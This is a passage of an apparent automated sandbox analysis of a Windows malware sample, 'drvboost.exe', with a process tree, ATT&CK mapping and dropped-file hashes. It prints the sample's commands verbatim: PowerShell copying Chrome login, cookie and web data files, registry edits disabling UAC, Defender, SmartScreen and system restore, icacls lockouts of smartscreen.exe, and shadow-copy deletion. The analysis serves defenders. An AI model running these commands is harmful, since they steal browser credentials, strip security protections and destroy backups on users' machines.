- Sets file to hidden
- Views/modifies file attributes
PID:4020

C:\Windows\SysWOW64\attrib.exe
AttrIB +s +h C:\tmp\a.vbs
8⤵
- Sets file to hidden
- Views/modifies file attributes
PID:812

C:\tmp\drvboost.exe
"C:\tmp\drvboost.exe"
7⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4660

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cpi \"C:\Users\Admin\AppData\Local\google\chrome\user data\default\Login Data\" \"C:\Users\Admin\AppData\Local\Temp\vz23r4m2e1s240706046.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Local\google\chrome\user data\default\Web Data\" \"C:\Users\Admin\AppData\Local\Temp\1ifb3gzsz4240706046.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Local\google\chrome\user data\default\Cookies\" \"C:\Users\Admin\AppData\Local\Temp\xtht5jae240706140.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Local\google\chrome\user data\default\..\Local State\" \"C:\Users\Admin\AppData\Local\Temp\5qtgbih07asgxt240706140.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Local\google\chrome\user data\default\Preferences\" \"C:\Users\Admin\AppData\Local\Temp\eyurysd96zt240706421.tmp\" -Force"
8⤵
PID:3828

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C ""C:\Users\Admin\AppData\Local\Temp\d.cmd""
7⤵
PID:1912

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c rd /s /q "C:\Users\Admin\AppData\Local\Temp\MW-7a1bd6e7-e15e-492d-8b0c-4a86724eaeec\files"
3⤵
PID:3992

C:\Windows\SysWOW64\ICACLS.EXE
"C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-7a1bd6e7-e15e-492d-8b0c-4a86724eaeec\." /SETINTEGRITYLEVEL (CI)(OI)LOW
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1576

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:1084

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\tmp\.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:484

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\TMP\.CMD" "
2⤵
- Suspicious use of WriteProcessMemory
PID:4996

C:\Windows\system32\reg.exe
reg add "hklm\software\microsoft\windows\currentversion\policies\system" /v "consentpromptbehavioradmin" /t reg_dword /d "0" /f
3⤵
PID:2224

C:\Windows\system32\reg.exe
reg add "hklm\software\microsoft\windows\currentversion\policies\system" /v "consentpromptbehavioruser" /t reg_dword /d "0" /f
3⤵
- UAC bypass
PID:2208

C:\Windows\system32\reg.exe
reg add "hklm\software\microsoft\windows\currentversion\policies\system" /v "promptonsecuredesktop" /t reg_dword /d "0" /f
3⤵
- UAC bypass
PID:2184

C:\Windows\system32\reg.exe
reg add "hklm\software\policies\microsoft\windows defender\spynet" /v "submitsamplesconsent" /t reg_dword /d "2" /f
3⤵
PID:752

C:\Windows\system32\reg.exe
reg add "hklm\software\policies\microsoft\windows defender\spynet" /v "spynetreporting" /t reg_dword /d "0" /f
3⤵
PID:1468

C:\Windows\system32\reg.exe
reg add "hklm\software\policies\microsoft\windows defender" /v "puaprotection" /t reg_dword /d "0" /f
3⤵
PID:548

C:\Windows\system32\reg.exe
reg add "hklm\software\policies\microsoft\windows defender\mpengine" /v "mpenablepus" /t reg_dword /d "0" /f
3⤵
PID:396

C:\Windows\system32\takeown.exe
takeown /f "C:\Windows\system32\smartscreen.exe" /a
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:4368

C:\Windows\system32\icacls.exe
icacls "C:\Windows\system32\smartscreen.exe" /reset
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3376

C:\Windows\system32\taskkill.exe
taskkill /im smartscreen.exe /f
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4304

C:\Windows\system32\icacls.exe
icacls "C:\Windows\system32\smartscreen.exe" /inheritance:r /remove *s-1-5-32-544 *S-1-5-11 *s-1-5-32-545 *s-1-5-18
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4772

C:\Windows\system32\reg.exe
reg add "hklm\system\currentcontrolset\control\deviceguard\scenarios\hypervisorenforcedcodeintegrity" /v "enabled" /t reg_dword /d "1" /f
3⤵
PID:2868

C:\Windows\system32\reg.exe
reg add "hklm\software\policies\microsoft\windows\system" /v "enablesmartscreen" /t reg_dword /d "0" /f
3⤵
PID:4588

C:\Windows\system32\reg.exe
reg add "hklm\software\microsoft\windows\currentversion\explorer" /v "smartscreenenabled" /t reg_sz /d "off" /f
3⤵
PID:1756

C:\Windows\system32\reg.exe
reg add "hklm\software\policies\microsoft\mrt" /v "dontofferthroughwuau" /t "reg_dword" /d "1" /f
3⤵
PID:1764

C:\Windows\system32\reg.exe
reg add "hklm\software\policies\microsoft\mrt" /v "dontreportinfectioninformation" /t "reg_dword" /d "1" /f
3⤵
PID:3036

C:\Windows\system32\reg.exe
reg add "hklm\software\policies\microsoft\windows defender\ux configuration" /v "notification_suppress" /t reg_dword /d "1" /f
3⤵
PID:3180

C:\Windows\system32\reg.exe
reg add "hklm\software\policies\microsoft\windows defender\windows defender exploit guard\controlled folder access" /v "enablecontrolledfolderaccess" /t reg_dword /d "0" /f
3⤵
PID:480

C:\Windows\system32\reg.exe
reg add "hklm\software\policies\microsoft\windows defender\reporting" /v "disableenhancednotifications" /t reg_dword /d "1" /f
3⤵
PID:2476

C:\Windows\system32\reg.exe
reg add "hklm\software\microsoft\windows defender security center\notifications" /v "disableenhancednotifications" /t reg_dword /d "1" /f
3⤵
- Modifies Windows Defender notification settings
PID:952

C:\Windows\system32\reg.exe
reg add "hklm\software\microsoft\windows defender security center\virus and threat protection" /v "filesblockednotificationdisabled" /t reg_dword /d "1" /f
3⤵
PID:4028

C:\Windows\system32\reg.exe
reg add "hklm\software\microsoft\windows defender security center\virus and threat protection" /v "noactionnotificationdisabled" /t reg_dword /d "1" /f
3⤵
PID:2768

C:\Windows\system32\reg.exe
reg add "hklm\software\microsoft\windows defender security center\virus and threat protection" /v "summarynotificationdisabled" /t reg_dword /d "1" /f
3⤵
PID:1328

C:\Windows\system32\reg.exe
reg add "hklm\software\policies\microsoft\windows\explorer" /v "disablenotificationcenter" /t reg_dword /d "1" /f
3⤵
PID:2396

C:\Windows\system32\reg.exe
reg add "hkcu\software\microsoft\windows\currentversion\pushnotifications" /v "toastenabled" /t reg_dword /d "0" /f
3⤵
PID:4828

C:\Windows\system32\reg.exe
reg add "hklm\software\policies\microsoft\windows defender security center\virus and threat protection" /v uilockdown /t reg_dword /d 1 /f
3⤵
PID:1180

C:\Windows\system32\reg.exe
reg add "hklm\software\policies\microsoft\windows defender security center\app and browser protection" /v uilockdown /t reg_dword /d 1 /f
3⤵
PID:424

C:\Windows\system32\reg.exe
reg add "hklm\software\policies\microsoft\windows nt\systemrestore" /v "disableconfig" /t reg_dword /d "1" /f
3⤵
- Suspicious use of WriteProcessMemory
PID:1868

C:\Windows\system32\reg.exe
reg add "hklm\software\policies\microsoft\windows nt\systemrestore" /v "disablesr" /t reg_dword /d "1" /f
3⤵
- UAC bypass
PID:2224

C:\Windows\system32\reg.exe
reg add "hkcu\software\microsoft\windows\currentversion\policies\attachments" /v "savezoneinformation" /t reg_dword /d "1" /f
3⤵
PID:3568

C:\Windows\system32\reg.exe
reg add "hklm\software\microsoft\windows\currentversion\policies\attachments" /v "savezoneinformation" /t reg_dword /d "1" /f
3⤵
PID:4900

C:\Windows\system32\reg.exe
reg add "hklm\software\microsoft\windows\currentversion\policies\attachments" /v "scanwithantivirus" /t reg_dword /d "1" /f
3⤵
PID:3248

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\AppData\Roaming\microsoft\windows\start menu\programs\startup" /remove:d "everyone" /t /c
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3584

C:\Windows\system32\icacls.exe
icacls "C:\Users\Admin\AppData\Roaming\microsoft\windows\start menu\programs\startup" /deny "everyone":(de,dc) /t /c
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:8

C:\Windows\system32\schtasks.exe
schtasks /create /xml "C:\tmp\ar.xml" /tn ar /f
3⤵
- Creates scheduled task(s)
PID:1764

C:\Windows\system32\vssadmin.exe
vssadmin delete shadows /all /quiet
3⤵
- Interacts with shadow copies
PID:3224

C:\Windows\SysWOW64\curl.exe
cuRL -s IPINfo.Io/city
1⤵
PID:3568

C:\Windows\system32\werfault.exe
werfault.exe /hc /shared Global\a7efeee57f344600aee05f8b802d68d9 /t 3600 /p 3572
1⤵
PID:840

C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3804

C:\Windows\system32\werfault.exe
werfault.exe /hc /shared Global\41b13d5bf6a44ec882e611ed8cdefbb7 /t 4932 /p 3804
1⤵
PID:840

C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
PID:4936

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Hidden Files and Directories

T1158

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

T1053

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

File Deletion

T1107

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\TMP\.CMD

Filesize
16KB

MD5
58a7cb0dc418406bae007659e0cc94ff

SHA1
deb17468151918f1b515587b1e98aeef5ea43a63

SHA256
6778dfdd8c6ada2634d3a8c13750790ed193d51b664b743e06683fcd559eb072

SHA512
8b28359a7ce802068de617c4c7d09fb573bb7a31e9f29f033c698da9f4bb36d174618551e2d1eea13507a1b32b36422a33bbd3ffdd5c8c185afc40fd4fbcd454

Download Submit
C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133213670010197589.txt

Filesize
74KB

MD5
58389702bfc312719fd36818c52a3ca0

SHA1
d1d5afd9487606aafcdca1da3a4fd084afe0c3ad

SHA256
a2f87f173eb21fb89d4a47c0606ceee93468035cda393f7c37260b0458c3f41d

SHA512
417ee72c394e5b1c75af2cf10a795c978aa8588b823c745261a7d032f8bdf5a935db79b089ed2abecf2c5225e2ad3b71401fd20c7ae93659b97a3505732d8cc9

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\12Gc-7xQcrCUsNZSOTiwRrGAmbs.br[1].js

Filesize
27KB

MD5
f251066254b02f625fa800aa16fe21ad

SHA1
126a0a1329d9da9d60e8540c0dd028cedf1a9911

SHA256
d6d973a214fbc1b092183e2a010acca3c7c05dfb8e1e3cfa1a6ba79503d3664e

SHA512
e47374bcdd19c6a6fb536f0f17654c536c9c89ae91944ff11e70e1b092921bd4a61f55b0faf854ae3885957a1cb96b9e4f4a12bf05aa5a2f93c83308ed4f5ddc

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\1GU2fDqtk5zazcAxF50Lxmn7Swk.br[1].js

Filesize
1KB

MD5
2073ac4902c43ba7a642b628393fd5f2

SHA1
6c5188dc7f6bf76401a8d686df1e5fdfad05428d

SHA256
a0d5ce7d3d4fbc59b77afc29ea35edc44a8c4c5f3573b76054dcc1af8a6b74d7

SHA512
2404e077b280635045ca63f4562b2878d8e3ea26a804dc63c14491412063645b19bed5ab4aaded9a7933042ddd0a415d9cad95db3a986bcfc88811077565248b

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\4BpQ1bD8vX1mXuJObN-gg9RqkyQ.br[1].js

Filesize
950B

MD5
8465a334065673eb6a6487c8d87539db

SHA1
1985b3c3a5a78768283821899ffb3a0218df49c9

SHA256
84ed6c495b322b0f2213cc33ec6c652d84d82e010c928b1141db2290d4365f3d

SHA512
3e7c285c698be6ecc9a5e631f8cd499aa1d4e10dfa342a57aa5d9b1d643de3351a3423d6eac129df4dc5ad55c4184420ae9b4e0295628baadeaa35e22cd02729

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\584482RVjBIoEvVSe0RsuS1I4YQ.br[1].js

Filesize
44KB

MD5
8bbca6efbcf906afc2608d43fbb843fb

SHA1
4dd102315d1344154470036d382023882fe04353

SHA256
717046721bacb5b7777fed56098a1c8e3d454f04f2f42e7b2b7547c149191045

SHA512
53003946f6d31738d034ea9fd6fb318a96a72b000c647abf89eefd182b0014515b337ab2b52b543d482f3ea5108198b010485bc71b1dbc35789addbb097675ef

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\8ybqPOq-uRuT808EtTgQMSqpnxQ.br[1].js

Filesize
239KB

MD5
47d71e2272bf691cf1ec0629db9650aa

SHA1
53411e1b23c51a5302997e08b4d960c7b3c3fd3f

SHA256
4c653df54d6a1c25256b428a07a8db5afca28285aac9aaae85f66433f869c8bf

SHA512
0384b8d72224d39bf1d6d026acb5646046635d0200ad4c0dcc3e0c0e7aec5b4b3fee6e39fc2ad944056132a93d1b49981ec9bf5642ff6cda15a07034910a22a0

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\9NAKqY_tlD66IpqKerRN4qs4P0c.br[1].js

Filesize
2KB

MD5
549cd2b2bdbc4bf6e495b4f0fce7284c

SHA1
0f801648e77bd90fa4b2a5c508fe351404e0ecd0

SHA256
30ff9726f9ac5a3a8c84ae62a237f2a2997521eb2ab271bd4e302777eca73620

SHA512
44850c5ae59bf2675f34cb4885ed55320745e213e0f2b0165f010351c2b63a123a9506c05fdfdceed4e4a57980d765c37fa84836102e0b28af4a00efa7978b5f

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\9RLIrLi3GlOL2Eylg9IcArIkw20.br[1].js

Filesize
8KB

MD5
e9e0f2c7d9ff4e7ba872a004593454b5

SHA1
2db69a5f85d5afd2c523f8f6b8867eaa4e1125f9

SHA256
24d847fbf4fd59be3529fdfa7542fd3fe9512662927dd482e60d11344175e778

SHA512
f01ac1fed499aab6465f3f1fea96b5036043c260dd8a9029046895768794503264a98e41cc306f54557eac74c228af9a65a1e6cbdcfe6b4e0e8bbbd730f6a6a5

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\9eNI3ykoxUBcfNRgDJaF-g0a_0c[1].css

Filesize
9KB

MD5
514bef80093cc11affe9ffea292b2d61

SHA1
9fc33587736b724efe127c4c1267c0dfe7997edc

SHA256
e778c3c1994daa9cd638513cb34378b66f46fa0c79827b29392773fe9de01755

SHA512
40fdabc96290f18f5d5039cb8841d648136d93122a1b4b64945f905ea9dd9bef310126c81812c67a749c200219e182b08fee8ce14ecc5ba8c26b945ea9144fdb

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\BRvVt6WvGqoJAGsLlNVw1BxlJzY.br[1].js

Filesize
5KB

MD5
6f47a15be6e72dc019e89f8278d4b935

SHA1
e40ee6daf9d0ab4052f4a761028a2bf6972c6c78

SHA256
584362bc1fa8113882cd82151f38c18ca3d6bf751e4298e798f438ae8c6d46d7

SHA512
b027fc5f2d56bf1a1e173c65e3a97ee59bcae20f7fb692cb6378dce379b3f7674e87252a807f7ce86c85d24c8d1f633843fbaebc8adfae3980c233960c836012

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\C7Wu5lXiGKMgWLBcPrLiDXEIyQM.br[1].js

Filesize
13KB

MD5
d3089dadef5803d7d738098342c2060a

SHA1
de54f76de15b7c16ab6d9d06843fe28dbb2d1a88

SHA256
252ebb6aab841d328ae0f5cce4c3414782c19bbbc33747a43e7959034bee112d

SHA512
f204e4b537203dd6842702d9989a65d97b07662fa303d758b079ed3d7cca97786fdf455ffe1b50acae51e34335a13f382c70da9a577eedd6e7a25d558f54cef2

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\DccpWCpoNzCwM4Qymi_Ji67Ilso.br[1].js

Filesize
128KB

MD5
23c987e711c002d4ca3cd02deedc9bbf

SHA1
c0c26b66ea6793fa884f143e76cb9ad2e0109c7c

SHA256
a1c2f4c8ca6113ebdac36f2c33d6ce19bcf2f4bd99ec06e8ba845e2b25b03322

SHA512
969bc04d69f629f08585c7c2ee23e998d8c91146b912370cf9886a7f0b067e68654a9581c0203da522d30533871e41c1b96bf60f18091b6c7eb86d1a863b5d06

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\EYNLM9RfkEXFtD8WH1unvJjwzGA.br[1].js

Filesize
17KB

MD5
e86abefe45e62f7e2f865d8a344d0b6f

SHA1
5d4a0a597759412da2b8e9efd1affe8305e7d116

SHA256
5d54790c856ce13811590e18ac3b0aceefefb61258852490f4c5c60748365e89

SHA512
7903c3046865e3d1db040d66b2c052e3e56f791bc035c56d5fc76b28166dc88fdf6212699f98ee598fa6ba76222dd2da9e428f6662430776edbb4982a232c595

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\Init[1].htm

Filesize
168KB

MD5
7ebb319484b4394eb60a914329f1a8a5

SHA1
373bab7bf394923e4bef893b6e0fa3b55325a28f

SHA256
2b8501e118a3b4f0e4fa48a288307a72389800585c0eeb9309fd0620f681f435

SHA512
107e5a7ea3ab7db94b2d9322d2cbaad00d008a2f5cb3c505b29b873f74c4cc9e571b5118f95e96007faf8afd2b3b3174d5834fe9d505855951664ef1674f6b69

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\LTvC9faZn2l9PCTXME_se51XynA.br[1].js

Filesize
72KB

MD5
a9556c67bd4c11c9d6c5c2f9b2259476

SHA1
b00578639b49207b0c1d51d1bf2d32feb5440689

SHA256
76bbe437bba92903702a552679ca0c147458bd724e99c2f650373d816b0910c1

SHA512
18978924d4dfd184559c77f3aacf821595949833e558ac1944f3c26384d9d8d8da1962974f7f9ebcfcee3c1cfbedf9c95d706d47a0c377962d1144387f3ad484

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\LisgCZCwGQ4lRz4go9tlwPslw_k.br[1].js

Filesize
15KB

MD5
e515e69b21c49a355d5d4b91764abe00

SHA1
7571f85095e21ba061631d8a38d18623bcabf301

SHA256
365f8b7a23865ca36d1c1f7a25553afddb6223ff524b56d4beb80fdd98c8e057

SHA512
aa38791ce4ed4039a6d63cf6273be8ca0dde2436b8c6e0451937a85652d1c6ea22f38da9fd81ba9a4e877861b507603c88cacbbffe4e6b30ec602396f2b87a81

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\MDYUJRTM7duLZNg57v31JGIvwis.br[1].js

Filesize
21KB

MD5
ea2b007bab4ba06e5e3d21b2706cde00

SHA1
3257f685df8db7a9cdd27ed8de8de9d8efe26b3c

SHA256
088358ec8297f58bcf48d871abcb85f20b07c466cfa1ce68c6a33e52628e9b07

SHA512
2cfe60bda0b253fcf19cbeeac02b4fbdaefaa29fec318185040117050ed1893151477e7f9942dc4c00d93c9f142089c32be861f4fdbce00c790115a5e54d5ce3

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\Q-cnsTpek0eyHYYizZgbV8w7g0w[1].css

Filesize
32KB

MD5
873715a2ebcf015219552bac2d2b146b

SHA1
36f5fcfc6d464aa51c612900df86fb0161802981

SHA256
6e9132eb44713e1872527ad116649d2efb76ad93423b1d5d3470c587f28d0ce8

SHA512
148a4f66680e2471ebde4e6dbcc527c49ffdbc6428fe0800aee48b97b260b188d904c2e16ad8cb55f462010c02f18b36a0aaa989e05a67f3a113e3e5d5470990

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\QNBBNqWD9F_Blep-UqQSqnMp-FI[1].css

Filesize
6B

MD5
77373397a17bd1987dfca2e68d022ecf

SHA1
1294758879506eff3a54aac8d2b59df17b831978

SHA256
a319af2e953e7afda681b85a62f629a5c37344af47d2fcd23ab45e1d99497f13

SHA512
a177f5c25182c62211891786a8f78b2a1caec078c512fc39600809c22b41477c1e8b7a3cf90c88bbbe6869ea5411dd1343cad9a23c6ce1502c439a6d1779ea1b

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\RlwP7HXxXGMPFQoyG6lX7dVCrIM.br[1].js

Filesize
113KB

MD5
b20abdbca32c8393e09416d5af280ba3

SHA1
0f474452539bbc8c23a2a8acdcd3595977d0b106

SHA256
5389c64e909b6e6f26a9e4e73861cea4caf161506fe5cb833545a14521bb674b

SHA512
f0f7511b004895a2447355434ca1cca2c9b8598f4e736eb403e4a57bfd1e754d96886f813e65cc12fd7c84834950a5db471836c5ff9064e059ac417ddfb986d4

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\SrI3NunQ19BABvsvw4oSi8tPPZk.br[1].js

Filesize
1KB

MD5
fad6db26c9ea8d79e442b94159df41b4

SHA1
9f65747cfac63956a1d4ea95c385072f334fab6a

SHA256
2c9a5d78afd388dcc58924cd1c8b528da9033fc45febd0f959fd7b21e83d7fdb

SHA512
165447ce097e4c74423319cb84a2b5bf4c558fd531cb75875aebd149f23861c35aef09da82eeb362ddf8d0f56d423c9cf91ab6a271a6f50bcea62dd02794c811

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\VJSXzBwNHubjGE2z8BoF64SNS-w.br[1].js

Filesize
37KB

MD5
396dc7f3df31ad89cbbf3d6e62fd608d

SHA1
c0316a10fc909e9969c209c8bcd12739ae77611f

SHA256
a9b73ea2c9d457cffe4959fed249a811a32f5c2a9271811020099680e87667d7

SHA512
935eef658813ddea76e064aa10a9a5ea9a9c9b36987764229d0bb628e0eb1a508ee7c69370244f0f7112c9183b787f1283b530f95f189086cd3baf25f173417f

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\YEXl3ddfoyLoKVDyDWE7SHsNlas[1].css

Filesize
214KB

MD5
f378cac6d83da6f42da0e823deeffb0e

SHA1
40c5ec82e5f8fb825b09a94a4e7ace71fdc95088

SHA256
f448b5bc0de01ae18d7f83003f28ad9e1ffc4a6af6fed8d09ce50a91aa71c7b6

SHA512
2335b820022eca9e2d37c3e1f5c4d9488b0c4b6b47cf5fd286ef912a468f3e36f6ffeda22ed7b22bc4f711061614ac0f7be8daa6f869ebeb11b7d7b004597ff5

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\YOt7076YW9n2SO3baCFpqTOw-nY.br[1].js

Filesize
3KB

MD5
19cef7926db45476372ca69c38810228

SHA1
9bfe6938e9eb58151810bcfe691334b4be970a3f

SHA256
471580ec44fd5e8440f51de6d56b5ce7e2f3c8d792dc770d9ab5570b966c567d

SHA512
daa63863f1400643e1734f344162dc015bd2f4b0b7f1365e1df3eb36fe2b504a0a78b109c45fe74befb53fd929b956f2ebc057ced1bd6f306c3057f9be76764c

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\_-5GzLeKh9sZSTWYlSvtYlKy3Hg.br[1].js

Filesize
1.9MB

MD5
75f5c395f707b8bdf99b2acc109fdb5d

SHA1
e748f6da1814023483c335cd0d914d42a2c10066

SHA256
4a1ea9befe7f51239f714b28f551c6ac065bfffc475ee7714a3364b53e5017b9

SHA512
c78e3c919de0238cc92c52610272bc4306f28df54a8c4fbed858edaa3adff7f96469fcb3c3c323d5ff64cda66f8d6bf5e6db97d6e16571d71074a909fe4749c0

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\__-ByWIhreZEN07ym4fk56jF6NM.br[1].js

Filesize
49KB

MD5
04498fcf30641704e6b235668fb1e3a6

SHA1
a0d32b614cc324a0cb34c1e50934e78302b00748

SHA256
94e5c50ccb2594ac6532de9a94402c38cafdb57acdc83005475dc61b99ce0ade

SHA512
56057a3e81e6153cb89063a2fd72ebc7a0a3da3cc6cae4c9a807ec442c71763736ca8caee9f8a1cbc3a5c78eadbe920ac1237b176ffe8329e288c85ebe04f3b2

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\gJUJgNNsyuoal-sNm8oMoHi4iIk.br[1].js

Filesize
14KB

MD5
9c32957d7349b3d9c62de1d95137707d

SHA1
577edaa37936e318c4decd7eb4cf279007641821

SHA256
6f994aba5dda63785af9289c038915fb9939ddc1da1c007f1c349f18d6de031c

SHA512
3ae6552526dcc6bd8dc659202e9d598b4b32b17bf21bd8df66581153b16154d9560e560074309b20012c9b1033b58e87757d0ded53bfcae6cf972856217acc0b

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\hL4Ncr7onT7__ind5qsz2yRAqes.br[1].js

Filesize
9KB

MD5
38b38f0d3a1ab8947eaf8254dafff710

SHA1
09e737fef1cc583dbdaed48d1c3f8b84368c7220

SHA256
d73fc5a25448650cc20150ffe9285628a0ab2a1be475e214b3daa32b7b4c353e

SHA512
edd7f3bfdbc9c5855edbb0b3e6411a53598596be5b846b32963dfb3f66eaf36b88563e624087cef83831d6b509eb31607360ab2ce14f9108564f42858638ecb6

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\kA01dKEIOH7jmnhugLHXrdIYLx0.br[1].js

Filesize
399B

MD5
88da34e3b4aabfe178a5de75ec7b1e89

SHA1
81ebe7c0d234c5b04b37d26c4c0c2fa31f7b0bd1

SHA256
3882d5ac0bf21b1df0e0e5c7db1b15e12a1b3551434dc8bd84f0add748d2b3be

SHA512
fd556b1f1a1429bd23a0ca9411c93ecfbb9af749843512471026325a7fc29c1a7a511cd61414b17af6685143a14a4037ca6d1d9e107b8b5a4cc67daf2f4d43a1

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\n7LMSoHYYIBGa1VPMlnTzxBvlfA[1].css

Filesize
5KB

MD5
1d7d87949c806fedb2e53c961d03151b

SHA1
eb2afd8fe61a013d754f549fe4ac5892c6ccc822

SHA256
dd2a2ad9e7cb554114155f1daf899337c65a9c9a3b482b819c3c88fcf7c6b95b

SHA512
ad0228aa592b212ff70ae7bc05675389f64035b8d8bc8c27ccbc47ba3decdcd10752f32e172abf04830665b7ed21011719b1c166691dd8ea195975efdfb6f080

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\AppCache\A2IFODHH\15\onra7PQl9o5bYT2lASI1BE4DDEs[1].css

Filesize
65KB

MD5
d167f317b3da20c8cb7f24e078e0358a

SHA1
d44ed3ec2cde263c53a1ba3c94b402410a636c5f

SHA256
be2e9b42fc02b16643c01833de7d1c14d8790ecc4355c76529a41fa2f7d3efad

SHA512
afc65b0fa648d49a5eb896be60331aa222301894e228fe5684399e9276342f6510773dffa3e7e75b8d6197bc51c732bc7fd7518e593ecd20c4884c47058d46d8

Download Submit
